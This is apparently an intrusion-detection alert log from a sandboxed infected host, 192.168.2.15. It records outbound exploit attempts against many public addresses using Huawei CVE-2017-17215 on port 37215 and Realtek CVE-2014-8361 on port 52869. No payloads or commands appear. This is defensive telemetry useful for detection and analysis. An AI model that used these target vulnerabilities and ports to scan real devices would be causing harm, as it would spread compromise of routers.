Timestamp:	2024-07-20T23:10:41.671756+0200
SID:	2835222
Source Port:	35796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.246.166.200

Timestamp:	2024-07-20T23:10:39.463407+0200
SID:	2835222
Source Port:	51110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 144.85.64.233

Timestamp:	2024-07-20T23:10:40.935071+0200
SID:	2835222
Source Port:	40936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.183.11.184

Timestamp:	2024-07-20T23:10:42.254986+0200
SID:	2835222
Source Port:	57070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 54.103.253.49

Timestamp:	2024-07-20T23:10:41.671757+0200
SID:	2835222
Source Port:	50842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.206.206.167

Timestamp:	2024-07-20T23:10:42.278984+0200
SID:	2835222
Source Port:	54990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.161.254.255

Timestamp:	2024-07-20T23:10:41.248454+0200
SID:	2835222
Source Port:	45274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.210.198.249

Timestamp:	2024-07-20T23:10:41.674250+0200
SID:	2835222
Source Port:	35728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.223.201.190

Timestamp:	2024-07-20T23:10:41.675412+0200
SID:	2835222
Source Port:	44378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 80.66.53.41

Timestamp:	2024-07-20T23:10:42.946176+0200
SID:	2027339
Source Port:	33094
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.111.165.124

Timestamp:	2024-07-20T23:10:41.243831+0200
SID:	2835222
Source Port:	45306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.89.121.43

Timestamp:	2024-07-20T23:10:40.943561+0200
SID:	2835222
Source Port:	40044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 216.129.222.152

Timestamp:	2024-07-20T23:10:42.248098+0200
SID:	2835222
Source Port:	46970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 48.171.160.205

Timestamp:	2024-07-20T23:10:52.111250+0200
SID:	2027339
Source Port:	38138
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 218.122.204.1

Timestamp:	2024-07-20T23:10:41.672505+0200
SID:	2835222
Source Port:	57446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.238.31.136

Timestamp:	2024-07-20T23:10:40.941539+0200
SID:	2835222
Source Port:	34744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 126.171.98.117

Timestamp:	2024-07-20T23:10:40.367173+0200
SID:	2027339
Source Port:	55586
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.248.148.38

Timestamp:	2024-07-20T23:10:41.232616+0200
SID:	2835222
Source Port:	40522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.16.220.141

Timestamp:	2024-07-20T23:10:42.280294+0200
SID:	2835222
Source Port:	57160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 68.197.157.97

Timestamp:	2024-07-20T23:10:41.244364+0200
SID:	2835222
Source Port:	51878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 211.150.213.32

Timestamp:	2024-07-20T23:10:40.935071+0200
SID:	2835222
Source Port:	51210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.149.175.52

Timestamp:	2024-07-20T23:10:56.106747+0200
SID:	2835222
Source Port:	56680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.130.206.169

Timestamp:	2024-07-20T23:10:52.627701+0200
SID:	2835222
Source Port:	55502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.101.127.58

Timestamp:	2024-07-20T23:10:39.508504+0200
SID:	2835222
Source Port:	48076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.208.56.128

Timestamp:	2024-07-20T23:10:41.675412+0200
SID:	2835222
Source Port:	47936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 49.223.157.49

Timestamp:	2024-07-20T23:10:40.946479+0200
SID:	2835222
Source Port:	42874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.48.64.8

Timestamp:	2024-07-20T23:10:39.488655+0200
SID:	2835222
Source Port:	39720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.253.47.96

Timestamp:	2024-07-20T23:10:41.689073+0200
SID:	2835222
Source Port:	34070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.37.199.77

Timestamp:	2024-07-20T23:10:41.244364+0200
SID:	2835222
Source Port:	58384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 189.209.128.109

Timestamp:	2024-07-20T23:10:42.665921+0200
SID:	2027339
Source Port:	41794
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 206.49.109.215

Timestamp:	2024-07-20T23:10:40.149872+0200
SID:	2027339
Source Port:	60064
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 98.109.201.53

Timestamp:	2024-07-20T23:10:49.457364+0200
SID:	2835222
Source Port:	41694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.178.175.186

Timestamp:	2024-07-20T23:10:39.441039+0200
SID:	2835222
Source Port:	55304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.234.79.175

Timestamp:	2024-07-20T23:10:41.237255+0200
SID:	2835222
Source Port:	45168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.193.70.196

Timestamp:	2024-07-20T23:10:41.671603+0200
SID:	2835222
Source Port:	40016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 178.226.102.10

Timestamp:	2024-07-20T23:10:49.450306+0200
SID:	2835222
Source Port:	49496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.74.96.150

Timestamp:	2024-07-20T23:10:39.487008+0200
SID:	2835222
Source Port:	42690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.108.50.27

Timestamp:	2024-07-20T23:10:41.693757+0200
SID:	2835222
Source Port:	50340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 77.45.128.145

Timestamp:	2024-07-20T23:10:42.282973+0200
SID:	2835222
Source Port:	38322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.122.165.127

Timestamp:	2024-07-20T23:10:42.272034+0200
SID:	2835222
Source Port:	42764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.136.199.255

Timestamp:	2024-07-20T23:10:40.946478+0200
SID:	2835222
Source Port:	55772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.249.63.236

Timestamp:	2024-07-20T23:10:42.280429+0200
SID:	2835222
Source Port:	32910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 210.2.46.1

Timestamp:	2024-07-20T23:10:40.963772+0200
SID:	2027339
Source Port:	48858
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.167.79.148

Timestamp:	2024-07-20T23:10:56.016286+0200
SID:	2835222
Source Port:	51404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.173.171.152

Timestamp:	2024-07-20T23:10:39.504391+0200
SID:	2835222
Source Port:	50524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.131.188.191

Timestamp:	2024-07-20T23:10:40.941539+0200
SID:	2835222
Source Port:	48602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.108.166.247

Timestamp:	2024-07-20T23:10:42.286426+0200
SID:	2835222
Source Port:	56810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.204.120.208

Timestamp:	2024-07-20T23:10:39.495983+0200
SID:	2835222
Source Port:	43916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.251.233.95

Timestamp:	2024-07-20T23:10:39.511582+0200
SID:	2835222
Source Port:	38156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.29.196.90

Timestamp:	2024-07-20T23:10:41.234520+0200
SID:	2835222
Source Port:	56412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.135.100.3

Timestamp:	2024-07-20T23:10:39.438135+0200
SID:	2835222
Source Port:	47204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.135.228.141

Timestamp:	2024-07-20T23:10:39.497131+0200
SID:	2835222
Source Port:	38488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 146.208.62.250

Timestamp:	2024-07-20T23:10:41.231521+0200
SID:	2835222
Source Port:	38304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.64.188.170

Timestamp:	2024-07-20T23:10:49.490272+0200
SID:	2835222
Source Port:	39930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.91.175.126

Timestamp:	2024-07-20T23:10:39.441038+0200
SID:	2835222
Source Port:	59122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.221.232.221

Timestamp:	2024-07-20T23:10:41.237750+0200
SID:	2835222
Source Port:	49914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.236.94.127

Timestamp:	2024-07-20T23:10:40.934982+0200
SID:	2835222
Source Port:	52806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 115.19.25.169

Timestamp:	2024-07-20T23:10:40.948142+0200
SID:	2835222
Source Port:	36836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.206.105.136

Timestamp:	2024-07-20T23:10:41.673540+0200
SID:	2835222
Source Port:	36782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.127.119.138

Timestamp:	2024-07-20T23:10:41.248342+0200
SID:	2835222
Source Port:	46766
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.74.238.245

Timestamp:	2024-07-20T23:10:40.934363+0200
SID:	2835222
Source Port:	37552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.197.182.48

Timestamp:	2024-07-20T23:10:39.442646+0200
SID:	2835222
Source Port:	45984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.218.107.66

Timestamp:	2024-07-20T23:10:41.682592+0200
SID:	2835222
Source Port:	37992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.185.85.92

Timestamp:	2024-07-20T23:10:52.663866+0200
SID:	2835222
Source Port:	46262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.58.251.46

Timestamp:	2024-07-20T23:10:40.939487+0200
SID:	2835222
Source Port:	59396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 67.53.114.65

Timestamp:	2024-07-20T23:10:40.934142+0200
SID:	2835222
Source Port:	42416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.22.160.234

Timestamp:	2024-07-20T23:10:41.671643+0200
SID:	2835222
Source Port:	47306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 81.7.136.58

Timestamp:	2024-07-20T23:10:40.934499+0200
SID:	2835222
Source Port:	38168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 178.230.194.125

Timestamp:	2024-07-20T23:10:39.503369+0200
SID:	2835222
Source Port:	55442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.108.156.198

Timestamp:	2024-07-20T23:10:42.261820+0200
SID:	2835222
Source Port:	36518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.162.71.183

Timestamp:	2024-07-20T23:10:39.503369+0200
SID:	2835222
Source Port:	58804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 20.255.176.224

Timestamp:	2024-07-20T23:10:39.492375+0200
SID:	2835222
Source Port:	48196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.180.228.252

Timestamp:	2024-07-20T23:10:39.479428+0200
SID:	2835222
Source Port:	37890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.81.0.187

Timestamp:	2024-07-20T23:10:41.248454+0200
SID:	2835222
Source Port:	38674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 170.247.115.65

Timestamp:	2024-07-20T23:10:53.487043+0200
SID:	2027339
Source Port:	52728
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.225.109.57

Timestamp:	2024-07-20T23:10:42.286426+0200
SID:	2835222
Source Port:	33180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 205.50.160.163

Timestamp:	2024-07-20T23:10:39.511132+0200
SID:	2835222
Source Port:	60356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.142.98.9

Timestamp:	2024-07-20T23:10:41.248454+0200
SID:	2835222
Source Port:	42326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 39.147.126.15

Timestamp:	2024-07-20T23:10:40.944199+0200
SID:	2835222
Source Port:	45480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.88.156.88

Timestamp:	2024-07-20T23:10:40.943560+0200
SID:	2835222
Source Port:	33750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.162.123.109

Timestamp:	2024-07-20T23:10:40.934983+0200
SID:	2835222
Source Port:	47708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.62.170.7

Timestamp:	2024-07-20T23:10:40.941539+0200
SID:	2835222
Source Port:	37088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.140.115.187

Timestamp:	2024-07-20T23:10:39.503369+0200
SID:	2835222
Source Port:	48658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 161.55.194.1

Timestamp:	2024-07-20T23:10:41.248342+0200
SID:	2835222
Source Port:	39194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 83.35.196.3

Timestamp:	2024-07-20T23:10:39.511132+0200
SID:	2835222
Source Port:	55552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 122.72.16.198

Timestamp:	2024-07-20T23:10:42.273322+0200
SID:	2835222
Source Port:	47454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 86.37.66.37

Timestamp:	2024-07-20T23:10:41.679495+0200
SID:	2835222
Source Port:	39706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.155.184.46

Timestamp:	2024-07-20T23:10:40.934142+0200
SID:	2835222
Source Port:	50750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.243.62.202

Timestamp:	2024-07-20T23:10:40.934499+0200
SID:	2835222
Source Port:	40270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.165.244.114

Timestamp:	2024-07-20T23:10:46.816612+0200
SID:	2835222
Source Port:	47236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 168.175.171.32

Timestamp:	2024-07-20T23:10:41.671757+0200
SID:	2835222
Source Port:	49570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 27.73.191.157

Timestamp:	2024-07-20T23:10:48.599765+0200
SID:	2027339
Source Port:	59432
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.182.32.204

Timestamp:	2024-07-20T23:10:39.487008+0200
SID:	2835222
Source Port:	40464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.86.2.56

Timestamp:	2024-07-20T23:10:42.280294+0200
SID:	2835222
Source Port:	41162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 223.170.119.134

Timestamp:	2024-07-20T23:10:40.933920+0200
SID:	2835222
Source Port:	56460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.168.3.223

Timestamp:	2024-07-20T23:10:42.261146+0200
SID:	2835222
Source Port:	55058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.118.190.74

Timestamp:	2024-07-20T23:10:46.758980+0200
SID:	2835222
Source Port:	49414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.21.7.132

Timestamp:	2024-07-20T23:10:40.941539+0200
SID:	2835222
Source Port:	54186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.200.3.16

Timestamp:	2024-07-20T23:10:40.944484+0200
SID:	2835222
Source Port:	47314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

